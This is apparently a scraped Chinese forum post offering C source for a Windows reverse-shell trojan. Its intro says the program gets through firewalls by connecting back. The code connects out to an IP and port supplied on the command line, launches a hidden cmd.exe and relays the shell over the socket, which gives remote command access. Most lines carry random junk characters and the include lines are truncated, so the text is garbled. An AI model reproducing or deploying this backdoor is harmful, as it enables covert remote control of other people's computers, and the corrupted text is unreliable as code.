这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7\\~xSXh
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/* ============================== 0i5T]
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Rebound port in Windows NT a=:{{\1o
By wind,2006/7 5vUz
===============================*/ >m2<Nl}
#include z^ a6%N
#include > hDsm;,/
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#pragma comment(lib,"wsock32.lib") &*>CPO
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void OutputShell(); azR;*j8Q'
SOCKET sClient; @aqd'O
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uK4'n+_>\
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void main(int argc,char **argv) O$<%z[
{ aUIc=Z
WSADATA stWsaData; M<#)D
int nRet; q5'yD;[hE
SOCKADDR_IN stSaiClient,stSaiServer; `lu"y F
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if(argc != 3) AihL>a%
{ qmue!Fv#g
printf("Useage:\n\rRebound DestIP DestPort\n"); H/p-YtY
return;
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} xZ S\#{
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WSAStartup(MAKEWORD(2,2),&stWsaData); M0Kh>u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #2lvfR|
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stSaiClient.sin_family = AF_INET; C+L_61
stSaiClient.sin_port = htons(0); R+kZLOE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )D"G3g.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) guU r1Ij
{ d=4f`q0k
printf("Bind Socket Failed!\n"); 8~[C'+r
return; syC"eH3{
} N[
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stSaiServer.sin_family = AF_INET; \: _.N8"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y#SmZ*zok
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?2;n=&ZM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xvx\H'
{ eMm~7\
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printf("Connect Error!"); Rbj+P;t&
return; Kt4\&l-De
} CyK$XDHa
OutputShell(); w
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} +/b4@B7
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void OutputShell() \9|]
{ {Hp}F!X$
char szBuff[1024]; $*v 20
SECURITY_ATTRIBUTES stSecurityAttributes; &x0TnW"g
OSVERSIONINFO stOsversionInfo; ?CT^Zegmr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n6!Ihip$
STARTUPINFO stStartupInfo; ssr)f8R#,#
char *szShell; X!+Mgh6
PROCESS_INFORMATION stProcessInformation; 5%Fn^u:
unsigned long lBytesRead; ,5A>:2 zs
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6JFDRsX>)?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lPFdQ8M
stSecurityAttributes.lpSecurityDescriptor = 0; D
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stSecurityAttributes.bInheritHandle = TRUE; kX ,FQG>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %oCjZ"ke
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Bbt8fJA~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =<'iLQb1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w)m0Z4*
stStartupInfo.wShowWindow = SW_HIDE; 6P*)rye
stStartupInfo.hStdInput = hReadPipe; _6-/S!7Y\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &!YH"{b
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GetVersionEx(&stOsversionInfo); + $a:X
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switch(stOsversionInfo.dwPlatformId) 2-E71-J
{ FTYLMQ
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case 1: LjQ1ar\
szShell = "command.com"; ?-F'0-t4%
break; 3D09P5$W
default: -L 'K
szShell = "cmd.exe"; ~Yz/t
break; NdSxWrD`m
} np\Q&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j_WF38o
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send(sClient,szMsg,77,0); mV(x&`Cx
while(1) :XQ
{ 'lRHdD}s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _TN$c
if(lBytesRead) &|{,4V0%A
{ c+)|o!d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .sR&9FH
send(sClient,szBuff,lBytesRead,0); z3jzpmz
} S,tVOxs^
else 8m[L]6F(-z
{ s=~7m.m
lBytesRead=recv(sClient,szBuff,1024,0); MJ"Mn^:/
if(lBytesRead<=0) break; "A1yqK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U}wq~fD
} -Lf6]5$2'
} iM/0Yp-v'>
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return; >(6\ C
}